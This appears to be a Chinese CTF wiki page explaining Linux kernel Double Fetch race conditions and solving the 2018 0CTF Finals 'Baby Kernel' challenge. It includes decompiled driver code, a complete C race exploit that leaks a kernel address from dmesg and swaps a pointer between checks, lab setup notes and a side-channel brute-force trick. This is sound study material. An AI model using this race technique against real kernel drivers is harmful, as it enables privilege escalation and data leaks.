跳转至

Double Fetch

概述

Double Fetch 從漏洞原理上屬於條件競爭漏洞,是一種內核態與用戶態之間的數據訪問競爭。

在 Linux 等現代操作系統中,虛擬內存地址通常被劃分爲內核空間和用戶空間。內核空間負責運行內核代碼、驅動模塊代碼等,權限較高。而用戶空間運行用戶代碼,並通過系統調用進入內核完成相關功能。通常情況下,用戶空間向內核傳遞數據時,內核先通過通過 copy_from_user 等拷貝函數將用戶數據拷貝至內核空間進行校驗及相關處理,但在輸入數據較爲複雜時,內核可能只引用其指針,而將數據暫時保存在用戶空間進行後續處理。此時,該數據存在被其他惡意線程篡改風險,造成內核驗證通過數據與實際使用數據不一致,導致內核代碼執行異常。

一個典型的 Double Fetch 漏洞原理如下圖所示,一個用戶態線程準備數據並通過系統調用進入內核,該數據在內核中有兩次被取用,內核第一次取用數據進行安全檢查(如緩衝區大小、指針可用性等),當檢查通過後內核第二次取用數據進行實際處理。而在兩次取用數據之間,另一個用戶態線程可創造條件競爭,對已通過檢查的用戶態數據進行篡改,在真實使用時造成訪問越界或緩衝區溢出,最終導致內核崩潰或權限提升。

典型的Double Fetch原理圖

2018 0CTF Finals Baby Kernel

題目分析

首先用 IDA 對驅動文件進行分析,可見 flag 是硬編碼在驅動文件中的。

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2Ar
.data:0000000000000480                                         ; baby_ioctl+DBr ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

驅動主要註冊了一個 baby_ioctl 函數,其中包含兩個功能。當 ioctl 中 cmd 參數爲 0x6666 時,驅動將輸出flag 的加載地址。當 ioctl 中 cmd 參數爲 0x1337 時,首先進行三個校驗,接着對用戶輸入的內容與硬編碼的 flag 進行逐字節比較,當一致時通過 printk 將 flag 輸出出來。

signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
  attr *v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  attr *v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               v5->flag_str,
               SLODWORD(v5->flag_len),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && LODWORD(v5->flag_len) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
        return 0x16LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 0xELL;
  }
  return result;
}

而分析其檢查函數,其中 _chk_range_not_ok 爲檢查指針及長度範圍是否指向用戶空間。通過對驅動文件功能的分析,可以得到用戶輸入的數據結構體如下:

00000000 attr            struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str        dq ?
00000008 flag_len        dq ?
00000010 attr            ends

其檢查內容爲:

  1. 輸入的數據指針是否爲用戶態數據。
  2. 數據指針內flag_str是否指向用戶態。
  3. 據指針內flag_len是否等於硬編碼flag的長度。

解題思路

根據 Double Fetch 漏洞原理,發現此題目存在一個 Double Fetch 漏洞,當用戶輸入數據通過驗證後,再將 flag_str 所指向的地址改爲 flag 硬編碼地址後,即會輸出 flag 內容。

首先,利用提供的 cmd=0x6666 功能,獲取內核中 flag 的加載地址。

內核中以 printk 輸出的內容,可以通過 dmesg 命令查看。

然後,構造符合 cmd=0x1337 功能的數據結構,其中 flag_len 可以從硬編碼中直接獲取爲 33, flag_str 指向一個用戶空間地址。

最後,創建一個惡意線程,不斷的將 flag_str 所指向的用戶態地址修改爲 flag 的內核地址以製造競爭條件,從而使其通過驅動中的逐字節比較檢查,輸出 flag 內容。

Exploit

// gcc -static exp.c -lpthread -o exp
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

#define TRYTIME 0x1000  //碰撞次數
#define LEN 0x1000

struct attr
{
    char *flag;
    size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
//線程函數,不斷修改flag指向的地址爲內核中flag地址
void change_attr_value(void *s){
    struct attr * s1 = s; 
    while(finish==0){
    s1->flag = addr;
    }
}

int main(void)
{
    int addr_fd;
    char *idx;
    int fd = open("/dev/baby",0);
    int ret = ioctl(fd,0x6666);    
    pthread_t t1;
    struct attr t;
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);   
    //獲取內核硬編碼的flag地址
    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt",O_RDONLY);
    lseek(addr_fd,-LEN,SEEK_END);
    read(addr_fd,buf,LEN);
    close(addr_fd);
    idx = strstr(buf,"Your flag is at ");
    if (idx == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
    else{
        idx+=16;
        addr = strtoull(idx,idx+16,16);
        printf("[+]flag addr: %p\n",addr);
    }
    //構造attr數據結構
    t.len = 33;
    t.flag = buf;
    //新建惡意線程
    pthread_create(&t1, NULL, change_attr_value,&t);
    for(int i=0;i<TRYTIME;i++){
        ret = ioctl(fd, 0x1337, &t);
        t.flag = buf;
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg | grep flag");
    return 0;
}

其他

此題在環境配置時,有幾點需要注意。

首先, 需關閉 dmesg_restrict ,否則無法查看 printk 信息,具體操作是在啓動腳本中加入:

echo 0 > /proc/sys/kernel/dmesg_restrict

其次,配置 QEMU 啓動參數時, 不要開啓 SMAP 保護,否則在內核中直接訪問用戶態數據會引起 kerne panic

還有,配置 QEMU 啓動參數時,需要配置爲非單核單線程啓動,否則無法觸發題目中的競爭條件。具體操作是在啓動參數中增加其內核數選項,如:

-smp 2,cores=2,threads=1  \

在啓動後,可通過 /proc/cpuinfo 查看當前運行的內核數及超線程數。

最後,此題存在一種側信道攻擊的非預期解法:

由於是 flag 是硬編碼的,並且是檢查方法是逐字節比較,因此可以逐字節爆破來得到 flag。

方法是將待爆破的字節放在 mmap 申請的內存頁末位,此時下一字節位於不可讀寫的用戶態空間。當得到正確的一字節時,內核會比較用戶空間內下一個字節的正確性,由於該地址是不可讀的,將導致 kernel panic,從而可以判斷是否爆破的一個字節正確。

Reference

https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei

https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/

http://p4nda.top/2018/07/20/0ctf-baby/

https://www.freebuf.com/articles/system/156485.html